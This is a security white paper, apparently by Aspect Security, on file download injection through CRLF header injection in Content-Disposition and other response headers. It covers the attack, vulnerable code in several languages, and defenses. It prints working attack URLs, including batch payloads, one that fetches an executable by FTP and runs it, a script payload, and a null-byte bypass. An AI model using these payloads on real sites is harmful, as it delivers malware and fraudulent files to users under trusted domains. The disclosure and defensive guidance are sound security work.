File Download Injection

Quick Summary

Many applications have custom code to serve up files. This code is usually named something like “download.jsp”, “report.php”, or just "/download". Developers have to add a few headers to the response to tell the browser what to do with the file. If any of those headers include unvalidated input, there’s a crack opened for the attacker. The attacker can inject a file download into the response and take it over from the inside.

The underlying vulnerability is called header injection. It’s been known for a long time and occurs in all of the web application platforms, including Java, .NET, and PHP. Attackers can use file download injection to completely replace the file being downloaded, or even inject unwanted file downloads into ordinary requests. The files injected might be malware or fraudulent versions of official files.

Some variants of the attack are surprisingly simple:

```
http://yourcompany.com/download?fn=attack.bat%0d%0a%0d%0awordpad
```

When the response for this attack arrives at the victim’s browser, the malicious file is named “attack.bat” and contains the command “wordpad” inside. The injected file is opened as if it was a legitimate download from the trusted domain. The attacker can inject any filename (.exe, .bat, .html, .pdf, .sh, etc...) with any file content, and the browser just opens it as it normally would – sometimes with a “run”, “save”, “cancel” dialog and sometimes not.

The reason this is so dangerous is that both the URL and the file download use a trusted domain. Internet users are quite likely to click on these malicious URLs and run the programs they download. Attackers can use this vulnerability to completely take over a victim’s computer.

There are several variants of the attack that vary in exactly how the injection happens and how the attack string is handled by the application, but the result is the same – a malicious file from a trusted domain opened in the victim’s browser. The exact behavior is dependent on the exact version of the application platform, browser, and filetype.

To save your users from being the victim of file download injection at your expense, be extremely careful about validating data that goes in HTTP response headers. Preventing CR and LF is good, but using strict “whitelist” validation is strongly recommended. The best approach is to have a standard security API available for your developers that has a safe way to add headers to responses.

File Download Injection

Technical Abstract

This white paper discusses "file download injection," an attack technique that exploits header injection vulnerabilities. With this technique, attackers can subvert legitimate HTTP responses by injecting a malicious file download with an arbitrary filename (.html, .exe, .swf, .mov, .msi, .vbs, etc...) and arbitrary file content. Since the attack subverts an existing HTTP response, both the URL and the downloaded file use a trusted domain.

Susceptible header injection vulnerabilities are frequently found in file download pages, but could be anywhere a web application uses untrusted input in a response header. This type of vulnerability can exist in virtually any web application environment, including Java, .NET and PHP.

This research builds on previous work in header injection and malicious file execution, and adds the ability to make the attack come from trusted domains. Although file download injection attacks are sent through the vulnerable application on their way to the browser for execution, they go beyond cross site scripting (XSS) as any file type can be injected. The attack is also different from HTTP response splitting as no second response is generated. Instead, the content of the original response is replaced.

The paper examines various aspects of the attack, including both stored and hidden variants and issues related to Content-Length. Some advanced techniques for bypassing naive defenses are discussed. Finally, the requirements for a strong defense are presented. Organizations are encouraged to find and eliminate header injection vulnerabilities based on the severity of this attack.

Background

This section contains some background information helpful to understand the attack described in the following sections of the paper.

Research Background

Recently, Aspect was invited to participate in the Static Analysis Tools Exposition (SATE) sponsored by NIST. The goal of the SATE project is to compare the results of static analysis technologies on real applications. An Aspect team of experienced application security consultants participated in the project to demonstrate the advantages of static analysis by humans. The results of the SATE will be presented at the OWASP NYC AppSec 2008 Conference in October 2008.

One of the applications analyzed during the SATE allows injection into the Content-Disposition header. However, the application performs several checks, including testing the existence of the file and performing "blacklist" validation on the filename's characters. In the course of determining whether this flaw was exploitable, we discovered the potential for this type of attack and that it appears to be the direct result of a fairly widespread programming flaw.

Given the potential severity of the attack and the number of applications that are likely to be vulnerable, we have drafted this white paper to explain the issue and help organizations protect their users from this attack.

File Download Background

Most file downloads on the Internet are handled by the web server, which generates an HTTP response containing the file contents and a few headers that tells the browser what to do with the file. For example:

```
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Thu, 27 Mar 2008 17:44:31 GMT
Content-length: 256542
Content-type: application/pdf
Connection: close

[file content]
```

However, many web applications want more control over the download process. Some want control over the name that is assigned to the file when it is saved on the user's hard drive. Others want to control whether the document is viewed inline in the browser or launched as a separate application. Still

others want to generate the content of the file dynamically, as many reporting applications do. These responses use a "Content-Disposition" header to do this, and appear as follows:

```
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 17:47:47 GMT
Content-Length: 43771
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=report.pdf

[file content]
```

In order to generate one of these custom download responses, the developer must build a custom HTTP response, and set a few HTTP response headers to tell the browser how to behave. For example, here is the Java code to do this:

```
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=report.pdf");
```

Attack Description

This section describes how the attack exploits header injection, and discusses several variants and considerations for the attack.

What Is File Download Injection?

Some web applications allow the user to control some part of the content disposition header, typically either the entire filename or at least a part of it. These applications are susceptible to file download injection.

Here some simple examples of vulnerable code:

```
Java
  response.setContentType("application/octet-stream");
  response.setHeader("Content-Disposition", "attachment; filename=" +
        request.getParameter("fn") );

C#
  Response.ContentType = "application/octet-stream";
  Response.AddHeader("Content-Disposition", "attachment;filename=" +
        Request.QueryString["fn"].ToString() );

ASP
  <% Response.AddHeader "Content-Type", "application/octet-stream" %>
  <% Response.AddHeader "Content-Disposition", "attachment;filename=" &
        Request.QueryString("fn") %>

PHP
  header("Content-Type: application/octet-stream");
  header("Content-Disposition: attachment; filename=".$_REQUEST["fn"]);
```

To perform the attack, the attacker builds an attack string. First, he chooses a filename for the injected file, including the extension for the type of file he wants the victim to execute, such as attack.bat. Then, he adds two carriage return line feed (CRLF) sequences to signal the end of the HTTP headers and the beginning of the file data. Note that CRLF appears as %0d%0a when percent-encoded. It might also be encoded by the non-standard %u000d%u000a%u000d%u000a [1]. Following the two CRLFs, the attacker appends the content of the malicious file, which should match the file type indicated by the chosen extension.

For example, if an application takes the "fn" parameter from the request and puts it into the Content-Disposition header, the attacker might attempt to abuse that application with a URL that looks like this:

```
  http://[trusted-domain]/download?fn=XXXX%0d%0a%0d%0aYYYYYYYYY
```

Where XXXX is the filename (and extension) that the attacker wants to name the malicious injected file, and YYYYYYYYY is the content of that file. A vulnerable application will generate a response like the following:

```
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition: attachment;filename=XXXX

YYYYYYYYY
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr
```

When the web application generated the response, the injection modified its meaning. The new malicious response directs the browser to open the attacker's maliciously injected file. Note that the original headers following Content-Disposition were pushed down to the end of the file data after the YYYYYYYYY by the CRLF characters injected. With some combinations of browsers and filetypes, a confirmation dialog box appears that asks the use to "run", "save", or "cancel". With other combinations, no such confirmation is required.

Reflected and Stored File Download Injection Variants

Most of this paper is concerned with "reflected" file download injection. These attacks, like reflected cross-site scripting, are sent from the victim's browser, through the application, and back for execution. The difficulty with reflected attacks is getting the victim to click on a link or submit a form to start the attack.

There is a "stored" variant of this attack as well. This variant occurs when the entire attack string is persisted in the application, and lies dormant until a victim unknowingly invokes it. Victims of a stored file download injection will be unable to easily detect that their download has been replaced with a malicious one.

For example, imagine an application that stores the name of a sports team without validation, and later uses the team name as the filename of the team's yearly performance report. When fans attempt to download the season's results, the application generates the Content-Disposition header and includes the attack. The malicious file content buried in the team name will be injected, replace the content of the intended file, and get launched by the browser.

While less likely to occur than a reflected file download injection, the stored variant reinforces the lesson that untrusted input should never be used without validation in an HTTP response header - even if it has been stored in the database for a while.

Content-Length Headers

For the browser to properly render a response, it must contain a Content-Length header that tells the browser how many bytes to read. In some cases, header injection can push the Content-Length header down into the HTTP body, where it just becomes more data. Understanding how the Content-Length header is affected is critical to fully understanding how file download injection works.

In the example response shown above, there is no Content-Length header because the injection pushed it down into the message body. In some cases, we have observed that something downstream from the web application automatically adds a new Content-length header after the Content-Disposition header. This may have been the web server or a downstream proxy "fixing" a response that is not RFC compliant.

Getting the Content-Length header correct presents a challenge for the attacker. There are two possible cases:

- **Content-Length precedes the Content-Disposition header** - In this case, the attacker can either fit the attack into the size defined in the existing header, or try to inject a new Content-Length header as a part of the attack. Injecting a new one will result in two valid Content-Length headers, and leaves it up to the browser to decide which to use. This situation is analyzed in [5].
- **Content-Length header follows the Content-Disposition header** - In this case, the attack pushes the content length down into the body and the response could end up without a Content-Length header, spoiling the attack. The attacker may be able to inject a new content length header to replace the missing one, or perhaps the response will be fixed downstream.

Any Header Injection Vulnerability Can Be Used for File Download Execution

To be perfectly clear, an attacker can use almost any header injection vulnerability for this attack. The attacker must simply inject the entire Content-Disposition header containing the malicious filename and then append the body of the malicious file as described above. For example, if the application includes the “username” parameter in a cookie value without validation, the attack might look like:

```
http://[trusted_domain]/function?username=foo%0d%0aContent
Disposition:%20attachment;filename=attack.bat%0d%0aContent-
Length:%207%0d%0a%0d%0awordpad
```

This example is the exact same problem as above, but delivered in a slightly bigger envelope. In this example, the entire Content-Disposition header is included in the “username” parameter and will end up in a Set-Cookie header as follows:

```
Set-Cookie: username=foo
Content-Disposition: attachment;filename=attack.bat
Content-length: 7

wordpad
```

Any HTTP response header injection vulnerability will work as long as the HTTP response status is 200, e.g. in Set-Cookie, Content-Type, Refresh (just examples for headers which were successfully used in HTTP header injection/response splitting), as well as, of course, Content-Disposition.

Examples of Using File Download Injection

This section describes several ways that attackers might use file download injection.

A Batch File Download Injection Example

Imagine an application that contains the following code. There are dozens of easy to find examples of this in Google Code Search, from full blown applications to tutorials and recent online guidance [2][3].

Using the technique described above, the attacker can perform header injection into the "fn" parameter to take over the response. The attacker can specify the full filename and extension. Then by injecting two CRLF sequences, the attacker can send the body of the HTTP response which will be interpreted by the browser as the content of the file.

For example, if the victim clicks on the following link in an email or on a webpage:

```
http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0awordpad
```

The following is the actual HTTP response generated by a vulnerable application on the Internet:

```
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=E35E52B9472B17666B3A77C19CDCD90E; Path=/download
Content-Disposition: attachment;filename=attack.bat
Content-length: 88

wordpad
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-kr
```

This response tells the browser to open the file "attack.bat" containing the command "wordpad" on the first line. In the latest version of IE7 on Vista SP1 this displays a popup that says "run", "save", or "cancel." Selecting "run" immediately executes the batch file and starts wordpad. The latest Firefox saves the file to disk automatically, and requires the user to click "open" to execute it. Safari on Windows, interestingly, renames the file to attack.bat.txt and automatically opens it in the default text editor.

Injecting a batch file is quite dangerous, since the link starts with http://[trusted_domain]/ and will likely fool many users into thinking it is safe to click "run". Of course there are many obfuscation techniques that make the attack itself more difficult to spot.

Notice that the attack did not require the use of any special characters other than period, CR, and LF. Many validators are "blacklist" and contain only a short list of invalid character sequences, such as .. and slashes. Thus, even if the developer has implemented some validation, this attack may be able to bypass them.

A more complex version of the attack could allow an attacker to FTP an executable off the Internet and execute it. Again, both IE7 and Firefox will run this command with a single confirmation click.

```
http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0aecho%20get%20
/pub/winzip/wzinet95.exe|ftp%20-A%20mirror.aarnet.edu.au%0d%0awzinet95.exe
```

Note that this example shows how a broken response without a content length header may be "fixed" by something downstream from the vulnerable application.

Using File Download Injection to Commit Fraud

One of the simplest but potentially most devastating uses of file download injection is to replace documents with fraudulent ones that mislead victims. For example, imagine a corporate website that allows download of press releases and financial reports. The attacker might use file download injection to radically change the meaning of a press release. If the real press release reports strong growth in the first quarter, the attacker could use file download injection to mislead victims into believing that the company is about to declare bankruptcy. The attack URL might look like:

```
http://[trusted_domain]/press?file=Q108_growth.html%0d%0a%0d%0a<html>
<body><H1>Company to Declare Bankruptcy</H1><P>Company officials today...
```

Using File Download Injection with Other File Types

File download injection can be used to trick victims into opening almost any kind of file, including .html, .pdf, .exe, .swf, .mov, .msi, .vbs, .jar, etc… For example, the attacker can get a victim to open an HTML file from the local zone.

```
http://[trusted_domain]/download?fn=test.html%0d%0a%0d%0a<script>
alert(document.cookie)</script>
```

In IE7, Firefox, and Safari this attack loads the attacker's injected HTML page in the browser and runs the script. Sometimes a dialog box requesting the user to select "open" or "save" appears. The choice of whether the Content-Disposition is "attachment" or "inline" may affect the appearance of a dialog box. The Content-Type header is also important to the behavior of the browser. We have not performed

extensive testing on the behavior of other file types when injected into browsers in this manner. However, we assume that the browser will behave exactly as if the attacker's malicious file were served by the download application at the trusted domain.

There are many tricks that attackers using this technique can use to bypass validation filters, such as setting the charset to US-ASCII or UTF-7. Our tests show that scripts encoded in this manner can bypass many filters and still execute. Another way to bypass filters is to take advantage of the browser's flexibility in handling data that doesn't match the specified filename. In IE7, the example above will work just as well if the selected filename is "test.jpg" even though the content is a script not valid JPG data.

While RFC 2616 does not place any a priori limit on the length of a URI [9], some clients may enforce a limit. Internet Explorer sets a maximum length of 2083 characters [10]. This may impose a practical limitation on the files that can be injected via a URL. Using a POST or a stored file download injection will allow unlimited length files to be injected, but may be more difficult to find or promulgate.

Defending Against File Download Injection

We cannot estimate the prevalence of this vulnerability, although it seems reasonable to believe that there are very large numbers of vulnerable applications today. Certainly many applications have header injection flaws, including many stemming from the use of Content-Disposition to dynamically send files. Of these, it is likely that a significant number will allow file download injection.

Platform Susceptibility

The file download injection problem is not fundamentally a browser issue. Browsers have to be able to open files that are sent in HTTP responses. They can put up confirmation boxes and flag certain dangerous types of files, but the real problem is in the application that allows this to happen.

Developers are partly responsible, as they should know better than to use untrusted input in response headers. The lack of widespread input validation and proper output encoding is responsible for a huge number of security vulnerabilities.

Platforms and frameworks also share in the responsibility. Header injection *should* be impossible. There is no reason that developers should be allowed to put carriage return and linefeed characters into headers. This should be a wake up call to vendors of products and frameworks to take the simple steps required to prevent header injection.

We have not done exhaustive testing of various web servers, application servers, and frameworks to determine their susceptibility to this attack. However, here are a few notes about a few popular platforms.

- **Java EE** – Inexplicably, there nothing in the Java EE specification that prevents header injection, so it is not surprising that many implementations are vulnerable. One exception is Apache Tomcat which is not susceptible because CR and LF characters in headers are replaced with spaces when the response is generated by the connector.
- **.NET** – NET 2.0 has a config setting named 'enableHeaderChecking' in the <httpRuntime> element. It is set to true by default. When true, the .NET runtime will encode CRLF in response headers. Thus, .NET 2.0 and higher are safe unless a developer has explicity turned off header checking. Version 1.1 does not have this mechanism and may be vulnerable to file download injection.
- **PHP** – Very preliminary testing shows that versions through and including 5.1.2 appear to be vulnerable, although later versions appear to encode special characters in headers with both backslash escapes and percent-encoding (e.g. CR becomes \%0d), which works but is excessive.
- **Cold Fusion** - Some Cold Fusion applications appear to be vulnerable, although the most common pattern for file download appears to be protected. There may also be some dependencies on the container and server that Cold Fusion runs on.

Because many developers cannot control the environment their code runs in, relying on protections not guaranteed in the specification for the environment is not recommended. Developers should always validate any input before placing it in a response header in order to avoid vulnerabilities that could allow this type of attack to occur.

Defending By Testing for File Existence Doesn't Necessarily Work

Some applications follow the following pattern, which initially appears as though it should prevent the attack. This is a Java example, but the issue may exist in other platforms as well.

```
String filename = request.getParameter("fn");
File f = new File( "/somepath" + filename );
if ( !f.exists() ) throw new IOException( "File not found" );
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + filename );
```

In this example, if the file specified by the attacker does not exist, an exception is thrown and the vulnerable response header is never set. Unfortunately, Java has another flaw handling filenames that contain null '\0' bytes, at least in most environments. If report.xls exists and the attacker wants to attempt a reflected batch file download injection, he might send the following URL:

```
http://[trusted_domain]/download?fn=report.xls%00.bat%0d%0a%0d%0apause
```

This attack works because the null byte (percent encoded as %00) will trick Java's file exists test into returning true, because it views the null byte as the end of the filename. The header, however, still contains the full parameter filled into the Content-Disposition header which ends in .bat. This is sent to the browser, which handles it as a batch file. The File constructor is another Java API that is unnecessarily dangerous and should reject attempts to create files with unprintable characters, particularly null bytes. Other platforms may or may not be susceptible to this type of attack.

Protecting Your Application Against File Download Injection

Ideally, no web application environment would allow CR or LF characters to be put into a response header. There is no reason for this to be allowed, and can only break the HTTP response. However, many environments do allow this corruption to occur, so developers must defend against this attack in their own code. Web application platform vendors should strongly consider disallowing CR and LF characters to be placed in response headers, as recommended by Amit Klein several years ago [5].

To determine whether any of your applications have a file download injection vulnerability, you can search the source code for calls that set the Content-Disposition header. You may want to check all calls to set HTTP response headers, as it is possible that any of them could be used for this attack.

You should verify that headers never include untrusted data, particularly CR and LF characters. Be wary of possible encoded characters. The safest choice might be to use the filename of the actual file, rather than a parameter from the request. If you must use a parameter, you should carefully validate the filename parameter to be sure that it is a reasonable choice for the content to be downloaded. A safe filename validator might enforce alphanumeric, period, and underscore only. Blacklist validation against a list of unsafe characters is not recommended. Simple validation can be performed with a regular expression in Java as follows:

```
String fn = request.getParameter( "fn" );
Pattern p = Pattern.compile("^[\\w\\. ]*$");
if ( !p.matcher(fn).matches() ) throw new IOException( "Bad filename" );
```

This pattern allows for alphanumerics, space, underscore, and the period character only. For a more comprehensive approach, you can use the OWASP Enterprise Security API (ESAPI) library [11]. ESAPI provides all the security methods an enterprise web application developer might need in a very easy to use, high assurance library. ESAPI provides support for strict "whitelist" validation of all input, canonicalization, and safe replacements for many dangerous Java EE methods. A Java version has been released and .NET and PHP versions are currently in development.

Protecting against file download injection (and all other header injection problems) with ESAPI can be done as follows:

```
ESAPI.httpUtilities().safeSetHeader("Content-Disposition",
     "attachment; filename=" + fn );
```

In addition, for defense in depth, the global "whitelist" character-set check in ESAPI should also stop this attack (any many others):

```
ESAPI.validator().isValidHTTPRequest(request);
```

Static analysis tools should be able to search for header injection and note this attack. This attack may warrant increasing the severity of such findings. Vulnerability scanning tools will have a harder time, but attempting the injection into anything that looks like a filename to download would be a good start. The fastest and most accurate approach is to simply look in the code manually.

Since the underlying header injection vulnerability has been known for many years, it may have been found in previous security reviews. You may want to revisit these findings and reevaluate the risk with this attack in mind. This is a good reason to establish a risk registry to track vulnerabilities across the organization.

Concluding Remarks

A few additional thoughts about this attack and concluding notes.

Root Cause Analysis

Internet applications today are sharing data in an unprecedented number and variety of formats, and allowing any number of nested encoding formats. We have effectively lost the ability to tell the difference between code and data. Historically, when code and data get mixed, security problems inevitably follow.

This attack is just one more example of the blurred line between data and code. HTTP has very weak provisions for separating data from executable file content. So it's not surprising that attackers can inject code in this way. We need stronger protocols and data formats that keep code and data separate. We have virtually guaranteed XSS with data formats like HTML that irreversibly mix JavaScript and marked up data.

In fact, the time has come to treat all data, even simple HTTP parameters, as though it were code. With the proliferation of interpreters and increased data sharing, we are going to continue to see increases in injection attacks of all kinds. Parameterized interfaces, such as PreparedStatement in Java, and well-defined escaping syntax are several of the best defenses against injection today. We strongly encourage everyone to designing infrastructure products, libraries, and custom applications to facilitate the easy separation of code and data.

The time has also come to abandon the practice of writing custom security controls. Just as cryptographic controls are far too difficult for most developers to get correct, so are the other security controls, including authentication, access control, input validation, canonicalization, encoding, and logging. We must move towards standard well-vetted security libraries to have any hope of making broad scale improvements in application security.

About Aspect Security

Aspect Security is the leading provider of application security risk management services. Millions of lines of critical application code are verified each month by Aspect's experienced penetration testing and code review specialists. Aspect teaches advanced hands-on security courses to thousands of architects, developers, and managers each year. Organizations with critical applications have gained control by implementing Aspect's Secure Development Lifecycle (SDL) program. Aspect is headquartered in Columbia MD. For information, visit www.aspectsecurity.com or call 301-604-4882.

About the Author

Jeff Williams is the founder and CEO of Aspect Security, specializing exclusively in application security risk management services. Jeff also serves as the volunteer Chair of the Open Web Application Security Project (OWASP). Jeff has made extensive contributions to the application security community through OWASP, including the Top Ten, WebGoat, Secure Software Contract Annex, Enterprise Security API, Risk Rating, and the worldwide local chapters program. Jeff holds advanced degrees in psychology, computer science, and human factors, and graduated *cum laude* from Georgetown Law.

References

[1] - Wikipedia on percent encoding and differences from URL encoding
http://en.wikipedia.org/wiki/Percent-encoding

[2] - Vulnerable code in first Google match for "servlet download"
http://forum.java.sun.com/thread.jspa?threadID=586671

[3] - Article mentioning response splitting with file download
http://channel9.msdn.com/wiki/default.aspx/SecurityWiki.SecureFileCreationCode

[4] - GNU Citizen – Using Content-Disposition attack for XSS
http://www.gnucitizen.org/blog/content-disposition-hacking/

[5] - Amit Klein's HTTP response splitting paper
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[6] - Amit Klein's HTTP response smuggling paper
http://www.securityfocus.com/archive/1/425593

[7] - Content header tampering in IE
http://www.microsoft.com/technet/security/bulletin/MS01-058.asp

[8] - Java tutorial with vulnerable code
http://balusc.blogspot.com/2007_07_01_archive.html

[9] - URL length limit
http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html

[10] - Internet Explorer URL length limit
http://support.microsoft.com/kb/208427

[11] - OWASP Enterprise Security API - Integrated trustworthy security API for applications and services
http://www.owasp.org/index.php/ESAPI